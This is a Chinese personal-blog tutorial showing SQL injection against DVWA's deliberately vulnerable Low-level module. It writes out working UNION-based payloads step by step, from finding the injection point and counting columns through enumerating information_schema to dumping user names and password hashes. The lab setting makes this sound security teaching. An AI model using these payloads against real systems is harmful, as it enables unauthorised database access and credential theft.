您现在的位置是:首页 > 学无止境 > Web网站首页Web 学习SQL注入分析-DVWA

学习SQL注入分析-DVWA

  • 莫愁
  • Web
  • 2019-04-03
简介如何使用DVWA的SQL注入模块,来获取服务器、数据库的一些信息呢?下面我就分享给大家。
字数 751

<

DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程,本篇文章就教大家如何使用DVWA来SQL注入。

在做测试以前先选择左侧菜单DVWA Security,如下图所示,选择Low级别:

DVWA Security

选择左侧SQL Injection,内容页显示为:

SQL injection

分析:

内容页只有一个输入窗口,后台的源程序如下:

文件位置:www\DVWA-master\vulnerabilities\sqli\source\low.php

源码如图:

low文件

问题就出在画红色的部分,没有对页面请求过来的数据做任何校验,就直接交给了数据库去执行!!这种问题就非常严重了。我们来看看效果

a)确认是否有注入点

输入1,显示正常,

输入1’,提示错误!! 嘿嘿,这个提示很明显,来看看:

sql报错

很明显,这是来自于MySQL的语法错误,说明输入框输入的内容被直接传给了数据库执行,只是因为语法错误导致错误提示。

输入1 or 1=1 或者输入 1 and 1=1 等都能够执行正常。

从而可以判断该输入口存在注入点:

注册点

 

b)确认注入点之后,我们确认字段的个数,使用order by 语句:

具体输入:1’  order by 3 # ,得到一个错误提示:

order by 3报错

当输入:1’  order by 2#

就正常显示:

学习SQL注入分析-DVWA

说明这个查询语句中只用到了2个字段,即2列数据。

 

c)确定显示的字段顺序

输入:1′ union select 1,2 #

学习SQL注入分析-DVWA

可以看出顺序为:First name   Surname

d)获取当前的数据库

输入:1' union select 1,database() #

数据库

确定了数据库名称为:dvwa,除了可以确认数据库名称外,还可以确认数据库的版本信息,只需要输入1' union select version(),database() #

数据库版本

可以看出数据库版本信息为 5.5.20-log

如果想查看主机的信息,输入:

1' union select 1,@@global.version_compile_os from mysql.user #

输出为:

主机信息

可以看出windows操作系统!!

到此,我们在进一步深入

e)获取数据库中的表

输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

输出:

学习SQL注入分析-DVWA

可以看出数据库里面的表2张:guest book 和users ,你也可以对照你的数据库,看看是不是哈。

f)获取表中的字段名

查询user表中的字段,输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

输出结果:

学习SQL注入分析-DVWA

可以看出效果,还是很明显的。

g)获取用户数据(获得user和password)

输入:1' union select group_concat(user),group_concat(password) from users #

输出:

学习SQL注入分析-DVWA

好了,DVWA的SQL注入就分享到这里了,具体这个密码加密自己去PHP文件里面研究把!


转载: 感谢您对莫愁个人博客网站平台的认可,非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“来源莫愁个人博客 https://www.mochoublog.com/study/146.html”。

文章评论

    • 评论
    人参与,条评论

技术在线

服务时间

周一至周日 12:00-22:00

关闭下雪
关闭背景特效